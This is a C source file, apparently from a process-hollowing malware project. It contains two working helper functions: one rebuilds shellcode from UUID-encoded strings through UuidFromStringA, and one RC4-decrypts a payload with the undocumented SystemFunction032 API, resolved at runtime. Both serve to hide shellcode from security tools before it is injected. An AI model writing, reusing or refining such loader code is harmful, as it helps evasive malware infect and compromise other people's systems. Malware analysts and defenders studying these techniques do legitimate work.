Hollowing/EncrObf.c
#include "common.h"

BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

	HANDLE		hRpcrt4		= NULL; // Handle to DLL
	PBYTE		pBuffer		= NULL; // Pointer to bytes
	PBYTE		TmpBuffer	= NULL; // Pointer to temp buffer
	SIZE_T		sBuffSize	= 0; // Real size of the payload
	RPC_STATUS 	STATUS		= 0; // Stores status

	// Get handle to Rpcrt4.dll
	hRpcrt4 = LoadLibraryA("Rpcrt4.dll");
	if (!hRpcrt4) {
		errorWin32("LoadLibraryA - Failed to get handle to Rpcrt4.dll");
		return FALSE;
	}

	// Get handles to SystemFunction032 using GetProcAddress
	fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(
		hRpcrt4,
		"UuidFromStringA"
	);
	if (!pUuidFromStringA) {
		errorWin32("GetProcAddress - Failed to get address to SystemFunction032");
		return FALSE;
	}

	// Getting the real size of the shellcode which is the number of UUID strings * 16
	sBuffSize = NmbrOfElements * 16;

	// Allocating memory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
	if (pBuffer == NULL) {
		errorWin32("HeapAlloc - Failed to allocate memory");
		return FALSE;
	}

	// Setting TmpBuffer to be equal to pBuffer
	TmpBuffer = pBuffer;

	// Loop through all the UUID strings saved in UuidArray
	for (int i = 0; i < NmbrOfElements; i++) {

		// Deobfuscating one UUID string at a time
		// UuidArray[i] is a single UUID string from the array UuidArray
		if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {

			error("UuidFromStringA failed At [%s] With Error: 0x%0.8X", UuidArray[i], STATUS);
			return FALSE;
		}

		// 16 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
		TmpBuffer = (PBYTE)(TmpBuffer + 16);

	}

	*ppDAddress = pBuffer;
	*pDSize = sBuffSize;

	return TRUE;
}

BOOL Rc4EncryptionViaSystemFunc032(IN PBYTE pPayloadData, IN DWORD dwPayloadSize, IN PBYTE pRc4Key, IN DWORD dwRc4KeySize) {

	HANDLE		hAdvapi32	= NULL;	// Handle to DLL
	NTSTATUS	STATUS		= 0;	// Stores NTSTATUS

	USTRING Data = {
		.Buffer = pPayloadData,
		.Length = dwPayloadSize,
		.MaximumLength = dwPayloadSize
	};

	USTRING	Key = {
		.Buffer = pRc4Key,
		.Length = dwRc4KeySize,
		.MaximumLength = dwRc4KeySize
	};

	// Get handle to advapi32.dll
	hAdvapi32 = LoadLibraryA("advapi32.dll");
	if (!hAdvapi32) {
		errorWin32("LoadLibraryA - Failed to get handle to advapi32.dll");
		return FALSE;
	}

	// Get handles to SystemFunction032 using GetProcAddress
	fnSystemFunction032 pSystemFunction032 = (fnSystemFunction032)GetProcAddress(
		hAdvapi32,
		"SystemFunction032"
	);
	if (!pSystemFunction032) {
		errorWin32("GetProcAddress - Failed to get address to SystemFunction032");
		return FALSE;
	}

	// RC4 encrypt the data
	// https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725
	STATUS = pSystemFunction032(&Data, &Key);
	if (!NT_SUCCESS(STATUS)) {
		errorNT("SystemFunction032 - Failed", STATUS);
		return FALSE;
	}

	return TRUE;
}